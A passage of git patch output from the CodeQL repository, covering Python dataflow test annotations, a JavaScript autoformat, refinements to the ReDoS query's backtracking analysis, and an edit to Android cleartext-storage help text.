not found return "" @@ -289,8 +289,8 @@ def test_getattr(): # object.__getattribute__(self, name) class With_getattribute: def __getattribute__(self, name): - SINK2(name) # Flow not found - SINK1(self) # Flow not found + SINK2(name) #$ MISSING: arg2="arg2, l:300 -> name" + SINK1(self) #$ MISSING: arg1="with_getattribute, l:299 -> self" OK() # Call not found return "" @@ -303,9 +303,9 @@ def test_getattribute(): # object.__setattr__(self, name, value) class With_setattr: def __setattr__(self, name, value): - SINK3(value) # Flow not found - SINK2(name) # Flow not found - SINK1(self) # Flow not found + SINK3(value) #$ MISSING: arg3="arg3, l:314 -> value" + SINK2(name) #$ MISSING: arg2="arg2, l:315 -> name" + SINK1(self) #$ MISSING: arg1="with_setattr, l:313 -> self" OK() # Call not found @@ -318,8 +318,8 @@ def test_setattr(): # object.__delattr__(self, name) class With_delattr: def __delattr__(self, name): - SINK2(name) # Flow not found - SINK1(self) # Flow not found + SINK2(name) #$ MISSING: arg2="arg2, l:328 -> name" + SINK1(self) #$ MISSING: arg1="with_delattr, l:327 -> self" OK() # Call not found @@ -331,7 +331,7 @@ def test_delattr(): # object.__dir__(self) class With_dir: def __dir__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_dir, l:340 -> self" OK() # Call not found return [] @@ -350,8 +350,8 @@ class Owner: class With_get: def __get__(self, instance, owner=None): SINK3(owner) # Flow not testsed, use class `Owner` as source to test - SINK2(instance) # Flow not found - SINK1(self) # Flow not found + SINK2(instance) #$ MISSING: arg2="arg2, l:365 -> instance" + SINK1(self) #$ MISSING: arg1="with_get, l:363 -> self" OK() # Call not found return "" @@ -369,9 +369,9 @@ def test_get(): # object.__set__(self, instance, value) class With_set: def __set__(self, instance, value): - SINK3(value) # Flow not found - SINK2(instance) # Flow not found - SINK1(self) # Flow not found + SINK3(value) #$ MISSING: arg3="arg3, l:382 -> value" + SINK2(instance) #$ MISSING: arg2="arg2, l:381 -> instance" + SINK1(self) #$ MISSING: arg1="with_set, l:379 -> self" OK() # Call not found @@ -386,8 +386,8 @@ def test_set(): # object.__delete__(self, instance) class With_delete: def __delete__(self, instance): - SINK2(instance) # Flow not found - SINK1(self) # Flow not found + SINK2(instance) #$ MISSING: arg2="arg2, l:397 -> instance" + SINK1(self) #$ MISSING: arg1="with_delete, l:395 -> self" OK() # Call not found @@ -401,9 +401,9 @@ def test_delete(): # object.__set_name__(self, owner, name) class With_set_name: def __set_name__(self, owner, name): - SINK3(name) # Flow not found - SINK2(owner) # Flow not found - SINK1(self) # Flow not found + SINK3(name) #$ MISSING: arg3="arg3, l:412 -> name" + SINK2(owner) #$ MISSING: arg2="arg2, l:412 -> owner" + SINK1(self) #$ MISSING: arg1="with_set_name, l:411 -> self" OK() # Call not found @@ -412,7 +412,7 @@ def test_set_name(): type("arg2", (object,), dict(arg3=with_set_name)) -# 3.3.2.4. __slots__ // We are not testing the suppression of -weakref_ and _dict_ here +# 3.3.2.4. __slots__ // We are not testing the suppression of __weakref__ and __dict__ here # object.__slots__ # __weakref__ # __dict__ @@ -421,7 +421,7 @@ def test_set_name(): # classmethod object.__init_subclass__(cls) class With_init_subclass: def __init_subclass__(cls): - SINK1(cls) # Flow not found + SINK1(cls) #$ MISSING: arg1="Tuple[0], l:429 -> cls" OK() # Call not found @@ -441,7 +441,7 @@ class With_prepare(type): def __prepare__(name, bases, **kwds): SINK3(kwds) # Flow not tested SINK2(bases) # Flow not tested - SINK1(name) # Flow not found + SINK1(name) #$ MISSING: arg1="arg1, l:450 -> name" OK() # Call not found return kwds @@ -455,8 +455,8 @@ def test_prepare(): # class.__instancecheck__(self, instance) class With_instancecheck: def __instancecheck__(self, instance): - SINK2(instance) # Flow not found - SINK1(self) # Flow not found + SINK2(instance) #$ MISSING: arg2="arg2, l:466 -> instance" + SINK1(self) #$ MISSING: arg1="with_instancecheck, l:465 -> self" OK() # Call not found return True @@ -470,8 +470,8 @@ def test_instancecheck(): # class.__subclasscheck__(self, subclass) class With_subclasscheck: def __subclasscheck__(self, subclass): - SINK2(subclass) # Flow not found - SINK1(self) # Flow not found + SINK2(subclass) #$ MISSING: arg2="arg2, l:481 -> subclass" + SINK1(self) #$ MISSING: arg1="with_subclasscheck, l:480 -> self" OK() # Call not found return True @@ -486,8 +486,8 @@ def test_subclasscheck(): # classmethod object.__class_getitem__(cls, key) class With_class_getitem: def __class_getitem__(cls, key): - SINK2(key) # Flow not found - SINK1(cls) # Flow not found + SINK2(key) #$ MISSING: arg2="arg2, l:496 -> key" + SINK1(cls) #$ MISSING: arg1="With_class_getitem, l:487 -> cls" OK() # Call not found return object @@ -501,7 +501,7 @@ def test_class_getitem(): # object.__call__(self[, args...]) class With_call: def __call__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_call, l:509 -> self" OK() # Call not found @@ -514,7 +514,7 @@ def test_call(): # object.__len__(self) class With_len: def __len__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_len, l:523 -> self" arg1="with_len, l:528 -> self" arg1="with_len, l:533 -> self" OK() # Call not found return 0 @@ -538,7 +538,7 @@ def test_len_if(): # object.__length_hint__(self) class With_length_hint: def __length_hint__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_length_hint, l:549 -> self" OK() # Call not found return 0 @@ -598,8 +598,8 @@ def test_delitem(): # object.__missing__(self, key) class With_missing(dict): def __missing__(self, key): - SINK2(key) # Flow not found - SINK1(self) # Flow not found + SINK2(key) #$ MISSING: arg2="arg2, l:609 -> key" + SINK1(self) #$ MISSING: arg1="with_missing, l:608 -> self" OK() # Call not found return "" @@ -613,7 +613,7 @@ def test_missing(): # object.__iter__(self) class With_iter: def __iter__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_iter, l:622 -> self" OK() # Call not found return [].__iter__() @@ -626,7 +626,7 @@ def test_iter(): # object.__reversed__(self) class With_reversed: def __reversed__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_reversed, l:635 -> self" OK() # Call not found return [].__iter__ @@ -639,8 +639,8 @@ def test_reversed(): # object.__contains__(self, item) class With_contains: def __contains__(self, item): - SINK2(item) # Flow not found - SINK1(self) # Flow not found + SINK2(item) #$ MISSING: arg2="arg2, l:650 -> item" + SINK1(self) #$ MISSING: arg1="with_contains, l:649 -> self" OK() # Call not found return True @@ -760,8 +760,8 @@ def test_mod(): # object.__divmod__(self, other) class With_divmod: def __divmod__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:771 -> other" + SINK1(self) #$ MISSING: arg1="with_divmod, l:770 -> self" OK() # Call not found return self @@ -871,8 +871,8 @@ def test_or(): # object.__radd__(self, other) class With_radd: def __radd__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:882 -> other" + SINK1(self) #$ MISSING: arg1="with_radd, l:881 -> self" OK() # Call not found return self @@ -886,8 +886,8 @@ def test_radd(): # object.__rsub__(self, other) class With_rsub: def __rsub__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:897 -> other" + SINK1(self) #$ MISSING: arg1="with_rsub, l:896 -> self" OK() # Call not found return self @@ -901,8 +901,8 @@ def test_rsub(): # object.__rmul__(self, other) class With_rmul: def __rmul__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:912 -> other" + SINK1(self) #$ MISSING: arg1="with_rmul, l:911 -> self" OK() # Call not found return self @@ -916,8 +916,8 @@ def test_rmul(): # object.__rmatmul__(self, other) class With_rmatmul: def __rmatmul__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:927 -> other" + SINK1(self) #$ MISSING: arg1="with_rmatmul, l:926 -> self" OK() # Call not found return self @@ -931,8 +931,8 @@ def test_rmatmul(): # object.__rtruediv__(self, other) class With_rtruediv: def __rtruediv__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:942 -> other" + SINK1(self) #$ MISSING: arg1="with_rtruediv, l:941 -> self" OK() # Call not found return self @@ -946,8 +946,8 @@ def test_rtruediv(): # object.__rfloordiv__(self, other) class With_rfloordiv: def __rfloordiv__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:957 -> other" + SINK1(self) #$ MISSING: arg1="with_rfloordiv, l:956 -> self" OK() # Call not found return self @@ -961,8 +961,8 @@ def test_rfloordiv(): # object.__rmod__(self, other) class With_rmod: def __rmod__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:972 -> other" + SINK1(self) #$ MISSING: arg1="with_rmod, l:971 -> self" OK() # Call not found return self @@ -976,8 +976,8 @@ def test_rmod(): # object.__rdivmod__(self, other) class With_rdivmod: def __rdivmod__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:987 -> other" + SINK1(self) #$ MISSING: arg1="with_rdivmod, l:986 -> self" OK() # Call not found return self @@ -991,8 +991,8 @@ def test_rdivmod(): # object.__rpow__(self, other[, modulo]) class With_rpow: def __rpow__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1002 -> other" arg2="arg2, l:1008 -> other" + SINK1(self) #$ MISSING: arg1="with_rpow, l:1001 -> self" arg1="with_rpow, l:1007 -> self" OK() # Call not found return self @@ -1012,8 +1012,8 @@ def test_rpow_op(): # object.__rlshift__(self, other) class With_rlshift: def __rlshift__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1023 -> other" + SINK1(self) #$ MISSING: arg1="with_rlshift, l:1022 -> self" OK() # Call not found return self @@ -1027,8 +1027,8 @@ def test_rlshift(): # object.__rrshift__(self, other) class With_rrshift: def __rrshift__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1038 -> other" + SINK1(self) #$ MISSING: arg1="with_rrshift, l:1037 -> self" OK() # Call not found return self @@ -1042,8 +1042,8 @@ def test_rrshift(): # object.__rand__(self, other) class With_rand: def __rand__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1053 -> other" + SINK1(self) #$ MISSING: arg1="with_rand, l:1052 -> self" OK() # Call not found return self @@ -1057,8 +1057,8 @@ def test_rand(): # object.__rxor__(self, other) class With_rxor: def __rxor__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1068 -> other" + SINK1(self) #$ MISSING: arg1="with_rxor, l:1067 -> self" OK() # Call not found return self @@ -1072,8 +1072,8 @@ def test_rxor(): # object.__ror__(self, other) class With_ror: def __ror__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1083 -> other" + SINK1(self) #$ MISSING: arg1="with_ror, l:1082 -> self" OK() # Call not found return self @@ -1087,8 +1087,8 @@ def test_ror(): # object.__iadd__(self, other) class With_iadd: def __iadd__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1098 -> other" + SINK1(self) #$ MISSING: arg1="with_iadd, l:1097 -> self" OK() # Call not found return self @@ -1102,8 +1102,8 @@ def test_iadd(): # object.__isub__(self, other) class With_isub: def __isub__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1113 -> other" + SINK1(self) #$ MISSING: arg1="with_isub, l:1112 -> self" OK() # Call not found return self @@ -1117,8 +1117,8 @@ def test_isub(): # object.__imul__(self, other) class With_imul: def __imul__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1128 -> other" + SINK1(self) #$ MISSING: arg1="with_imul, l:1127 -> self" OK() # Call not found return self @@ -1132,8 +1132,8 @@ def test_imul(): # object.__imatmul__(self, other) class With_imatmul: def __imatmul__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1143 -> other" + SINK1(self) #$ MISSING: arg1="with_imatmul, l:1142 -> self" OK() # Call not found return self @@ -1147,8 +1147,8 @@ def test_imatmul(): # object.__itruediv__(self, other) class With_itruediv: def __itruediv__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1158 -> other" + SINK1(self) #$ MISSING: arg1="with_itruediv, l:1157 -> self" OK() # Call not found return self @@ -1162,8 +1162,8 @@ def test_itruediv(): # object.__ifloordiv__(self, other) class With_ifloordiv: def __ifloordiv__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1173 -> other" + SINK1(self) #$ MISSING: arg1="with_ifloordiv, l:172 -> self" OK() # Call not found return self @@ -1177,8 +1177,8 @@ def test_ifloordiv(): # object.__imod__(self, other) class With_imod: def __imod__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1188 -> other" + SINK1(self) #$ MISSING: arg1="with_imod, l:1187 -> self" OK() # Call not found return self @@ -1192,8 +1192,8 @@ def test_imod(): # object.__ipow__(self, other[, modulo]) class With_ipow: def __ipow__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1203 -> other" + SINK1(self) #$ MISSING: arg1="with_ipow, l:1202 -> self" OK() # Call not found return self @@ -1207,8 +1207,8 @@ def test_ipow(): # object.__ilshift__(self, other) class With_ilshift: def __ilshift__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1218 -> other" + SINK1(self) #$ MISSING: arg1="with_ilshift, l:1217 -> self" OK() # Call not found return self @@ -1222,8 +1222,8 @@ def test_ilshift(): # object.__irshift__(self, other) class With_irshift: def __irshift__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1233 -> other" + SINK1(self) #$ MISSING: arg1="with_irshift, l:1232 -> self" OK() # Call not found return self @@ -1237,8 +1237,8 @@ def test_irshift(): # object.__iand__(self, other) class With_iand: def __iand__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1248 -> other" + SINK1(self) #$ MISSING: arg1="with_iand, l:1247 -> self" OK() # Call not found return self @@ -1252,8 +1252,8 @@ def test_iand(): # object.__ixor__(self, other) class With_ixor: def __ixor__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1263 -> other" + SINK1(self) #$ MISSING: arg1="with_ixor, l:1262 -> self" OK() # Call not found return self @@ -1267,8 +1267,8 @@ def test_ixor(): # object.__ior__(self, other) class With_ior: def __ior__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:1278 -> other" + SINK1(self) #$ MISSING: arg1="with_ior, l:1277 -> self" OK() # Call not found return self @@ -1282,7 +1282,7 @@ def test_ior(): # object.__neg__(self) class With_neg: def __neg__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_neg, l:1291 -> self" OK() # Call not found return self @@ -1295,7 +1295,7 @@ def test_neg(): # object.__pos__(self) class With_pos: def __pos__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_pos, l:1303 -> self" OK() # Call not found return self @@ -1308,7 +1308,7 @@ def test_pos(): # object.__abs__(self) class With_abs: def __abs__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_abs, l:1317 -> self" OK() # Call not found return self @@ -1321,7 +1321,7 @@ def test_abs(): # object.__invert__(self) class With_invert: def __invert__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_invert, l:1330 -> self" OK() # Call not found return self @@ -1334,7 +1334,7 @@ def test_invert(): # object.__complex__(self) class With_complex: def __complex__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_complex, l:1343 -> self" OK() # Call not found return 0j @@ -1347,7 +1347,7 @@ def test_complex(): # object.__int__(self) class With_int: def __int__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_int, l:1356 -> self" OK() # Call not found return 0 @@ -1360,7 +1360,7 @@ def test_int(): # object.__float__(self) class With_float: def __float__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_float, l:1369 -> self" OK() # Call not found return 0.0 @@ -1373,7 +1373,7 @@ def test_float(): # object.__index__(self) class With_index: def __index__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_index, l:1384 -> self" arg1="with_index, l:1389 -> self" arg1="with_index, l:1394 -> self" arg1="with_index, l:1399 -> self" arg1="with_index, l:1404 -> self" arg1="with_index, l:1409 -> self" arg1="with_index, l:1414 -> self" arg1="with_index, l:1419 -> self" OK() # Call not found return 0 @@ -1423,7 +1423,7 @@ def test_index_complex(): # object.__round__(self[, ndigits]) class With_round: def __round__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_round, l:1432 -> self" OK() # Call not found return 0 @@ -1436,7 +1436,7 @@ def test_round(): # object.__trunc__(self) class With_trunc: def __trunc__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_trunc, l:1445 -> self" OK() # Call not found return 0 @@ -1451,7 +1451,7 @@ def test_trunc(): # object.__floor__(self) class With_floor: def __floor__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_floor, l:1460 -> self" OK() # Call not found return 0 @@ -1466,7 +1466,7 @@ def test_floor(): # object.__ceil__(self) class With_ceil: def __ceil__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_ceil, l:147 -> self" OK() # Call not found return 0 @@ -1482,7 +1482,7 @@ def test_ceil(): # object.__enter__(self) class With_enter: def __enter__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1=".0, l:1494 -> self" OK() # Call not found return @@ -1504,7 +1504,7 @@ class With_exit: SINK4(traceback) # Flow not tested SINK3(exc_value) # Flow not tested SINK2(exc_type) # Flow not tested - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1=".0, l:1513 -> self" OK() # Call not found return @@ -1519,7 +1519,7 @@ def test_exit(): # object.__await__(self) class With_await: def __await__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_await, l:1528 -> self" OK() # Call not found return (yield from asyncio.coroutine(lambda: "")()) @@ -1538,7 +1538,7 @@ async def atest_await(): # object.__aiter__(self) class With_aiter: def __aiter__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_aiter, l:1550 -> self" OK() # Call not found return self @@ -1558,7 +1558,7 @@ class With_anext: return self async def __anext__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_anext, l:1567 -> self" OK() # Call not found raise StopAsyncIteration @@ -1573,7 +1573,7 @@ async def atest_anext(): # object.__aenter__(self) class With_aenter: async def __aenter__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_aenter, l:1584 -> self" OK() # Call not found async def __aexit__(self, exc_type, exc_value, traceback): @@ -1595,7 +1595,7 @@ class With_aexit: SINK4(traceback) # Flow not tested SINK3(exc_value) # Flow not tested SINK2(exc_type) # Flow not tested - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_aexit, l:1603 -> self" OK() # Call not found From cf12b65c80e34d1ee26470f00588a3b2b8d617d1 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Tue, 24 Nov 2020 14:32:20 +0000 Subject: [PATCH 0058/1241] JS: Autoformat --- javascript/ql/test/ApiGraphs/call-nodes/test.ql | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/javascript/ql/test/ApiGraphs/call-nodes/test.ql b/javascript/ql/test/ApiGraphs/call-nodes/test.ql index 97cfc6aeeba..cbea83fa4be 100644 --- a/javascript/ql/test/ApiGraphs/call-nodes/test.ql +++ b/javascript/ql/test/ApiGraphs/call-nodes/test.ql @@ -1,17 +1,11 @@ import javascript class FooCall extends API::CallNode { - FooCall() { - this = API::moduleImport("mylibrary").getMember("foo").getACall() - } + FooCall() { this = API::moduleImport("mylibrary").getMember("foo").getACall() } - DataFlow::Node getFirst() { - result = getParameter(0).getMember("value").getARhs() - } + DataFlow::Node getFirst() { result = getParameter(0).getMember("value").getARhs() } - DataFlow::Node getSecond() { - result = getParameter(1).getMember("value").getARhs() - } + DataFlow::Node getSecond() { result = getParameter(1).getMember("value").getARhs() } } query predicate values(FooCall call, int first, int second) { From d1706e804853eba5d40284868efa159ad34187d7 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 19 Nov 2020 00:13:43 +0100 Subject: [PATCH 0059/1241] reuse InfiniteRepetitionQuantifier from SuperLiniearBacktracking --- javascript/ql/src/Performance/ReDoS.ql | 14 ++------------ .../performance/SuperlinearBackTracking.qll | 2 +- 2 files changed, 3 insertions(+), 13 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 0774d9b167b..6674d7490fd 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -13,6 +13,7 @@ */ import javascript +import semmle.javascript.security.performance.SuperlinearBackTracking /* * This query implements the analysis described in the following two papers: @@ -104,7 +105,7 @@ class RegExpRoot extends RegExpTerm { */ predicate isRelevant() { // there is at least one repetition - exists(RegExpRepetition rep | getRoot(rep) = this | + exists(InfiniteRepetitionQuantifier rep | getRoot(rep) = this | // that could possibly match the same thing in multiple ways. exists(RegExpTerm child | child instanceof RegExpAlt or @@ -120,17 +121,6 @@ class RegExpRoot extends RegExpTerm { } } -/** - * A term that matches repetitions of a given pattern, that is, `E*`, `E+`, or `E{n,m}`. - */ -class RegExpRepetition extends RegExpParent { - RegExpRepetition() { - this instanceof RegExpStar or - this instanceof RegExpPlus or - this instanceof RegExpRange - } -} - /** * A constant in a regular expression that represents valid Unicode character(s). */ diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index 733f2c0e358..6b3c887ee2b 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -8,7 +8,7 @@ import javascript /** * A regular expression term that permits unlimited repetitions. */ -private class InfiniteRepetitionQuantifier extends RegExpQuantifier { +class InfiniteRepetitionQuantifier extends RegExpQuantifier { InfiniteRepetitionQuantifier() { this instanceof RegExpPlus or From f3c3b82827339e38ae169d35b0dceb7f334fe3a3 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 19 Nov 2020 00:14:02 +0100 Subject: [PATCH 0060/1241] move condition inside parens --- javascript/ql/src/Performance/ReDoS.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 6674d7490fd..16822bbe25a 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -154,9 +154,9 @@ newtype TInputSymbol = ( recc instanceof RegExpCharacterClass and not recc.(RegExpCharacterClass).isUniversalClass() + or + recc instanceof RegExpCharacterClassEscape ) - or - recc instanceof RegExpCharacterClassEscape } or /** An input symbol representing all characters matched by `.`. */ Dot() or From 94aa162f8dea5c89f312da80460f71c5a481fba1 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 19 Nov 2020 00:35:07 +0100 Subject: [PATCH 0061/1241] prune state-pairs that are outside a backtracking repetition --- javascript/ql/src/Performance/ReDoS.ql | 53 ++++++++++++++++++++------ 1 file changed, 41 insertions(+), 12 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 16822bbe25a..3de8167a2a9 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -105,15 +105,7 @@ class RegExpRoot extends RegExpTerm { */ predicate isRelevant() { // there is at least one repetition - exists(InfiniteRepetitionQuantifier rep | getRoot(rep) = this | - // that could possibly match the same thing in multiple ways. - exists(RegExpTerm child | - child instanceof RegExpAlt or - child instanceof RegExpQuantifier - | - child.getParent+() = rep - ) - ) and + exists(MaybeBacktrackingRepetition rep | getRoot(rep) = this) and // there are no lookbehinds not exists(RegExpLookbehind lbh | getRoot(lbh) = this) and // is actually used as a RegExp @@ -121,6 +113,20 @@ class RegExpRoot extends RegExpTerm { } } +/** + * A infinitely repeating quantifier that might backtrack. + */ +class MaybeBacktrackingRepetition extends InfiniteRepetitionQuantifier { + MaybeBacktrackingRepetition() { + exists(RegExpTerm child | + child instanceof RegExpAlt or + child instanceof RegExpQuantifier + | + child.getParent+() = this + ) + } +} + /** * A constant in a regular expression that represents valid Unicode character(s). */ @@ -461,7 +467,7 @@ newtype TState = * match `t`, or the `i`th character in `t` if `t` is a constant. */ class State extends TState { - RegExpParent repr; + RegExpTerm repr; State() { this = Match(repr, _) or this = Accept(repr) } @@ -473,6 +479,11 @@ class State extends TState { } Location getLocation() { result = repr.getLocation() } + + /** + * Gets the term represented by this state. + */ + RegExpTerm getRepr() { result = repr } } class EdgeLabel extends TInputSymbol { @@ -586,6 +597,14 @@ State epsilonPred(State q) { q = epsilonSucc(result) } */ predicate deltaClosed(State q1, InputSymbol s, State q2) { delta(epsilonSucc*(q1), s, q2) } +/** + * Holds if state `s` might be inside a backtracking repetition. + */ +pragma[noinline] +predicate stateInsideBacktracking(State s) { + s.getRepr().getParent*() instanceof MaybeBacktrackingRepetition +} + /** * A state in the product automaton. * @@ -595,12 +614,16 @@ predicate deltaClosed(State q1, InputSymbol s, State q2) { delta(epsilonSucc*(q1 * already constructed. To cut down on the number of states, * we only represent states `(q1, q2)` where `q1` is lexicographically * no bigger than `q2`. + * + * States are only constructed if both states in the pair are + * inside a repetition that might backtrack. */ newtype TStatePair = MkStatePair(State q1, State q2) { isFork(q1, _, _, _, _) and q2 = q1 or - step(_, _, _, q1, q2) and q1.toString() <= q2.toString() + step(_, _, _, q1, q2) and + q1.toString() <= q2.toString() } class StatePair extends TStatePair { @@ -646,6 +669,7 @@ int statePairDist(StatePair q, StatePair r) = */ pragma[noopt] predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { + stateInsideBacktracking(q) and exists(State q1, State q2 | q1 = epsilonSucc*(q) and delta(q1, s1, r1) and @@ -675,6 +699,9 @@ predicate step(StatePair q, InputSymbol s1, InputSymbol s2, StatePair r) { /** * Holds if there are transitions from the components of `q` to `r1` and `r2` * labelled with `s1` and `s2`, respectively. + * + * We only consider transitions where the resulting states `(r1, r2)` are both + * inside a repetition that might backtrack. */ pragma[noopt] predicate step(StatePair q, InputSymbol s1, InputSymbol s2, State r1, State r2) { @@ -683,7 +710,9 @@ predicate step(StatePair q, InputSymbol s1, InputSymbol s2, State r1, State r2) deltaClosed(q2, s2, r2) and // use noopt to force the join on `intersect` to happen last. exists(intersect(s1, s2)) - ) + ) and + stateInsideBacktracking(r1) and + stateInsideBacktracking(r2) } /** From a49160423bccde35a442fb2e276064676f84087f Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Wed, 25 Nov 2020 04:33:26 +0000 Subject: [PATCH 0062/1241] Enhance the query and add more test cases --- .../CWE-312/ClearTextStorageSharedPrefs.qhelp | 2 +- .../Security/CWE/CWE-312/SensitiveStorage.qll | 65 +++++++++-- .../frameworks/android/SharedPreferences.qll | 106 ++++++++++-------- .../ClearTextStorageSharedPrefs.expected | 2 +- .../tests/ClearTextStorageSharedPrefs.java | 66 ++++++++++- 5 files changed, 175 insertions(+), 66 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp index d06b8f7bf26..681ff9fe95e 100644 --- a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp +++ b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp @@ -2,7 +2,7 @@

    - SharedPreferences is an Android API that stores application preferences using simple sets of data values. Almost every Android application uses this API. It allows to easily save, alter, and retrieve the values stored in SharedPreferences. However, sensitive information shall not be saved in cleartext. Otherwise it can be accessed by any process or user on rooted devices, or can be disclosed through chained vulnerabilities e.g. unexpected access to its private storage through exposed components. + SharedPreferences is an Android API that stores application preferences using simple sets of data values. Almost every Android application uses this API. It allows to easily save, alter, and retrieve the values stored in the user's profile. However, sensitive information should not be saved in cleartext. Otherwise it can be accessed by any process or user on rooted devices, or can be disclosed through chained vulnerabilities e.g. unexpected access to its private storage through exposed components.

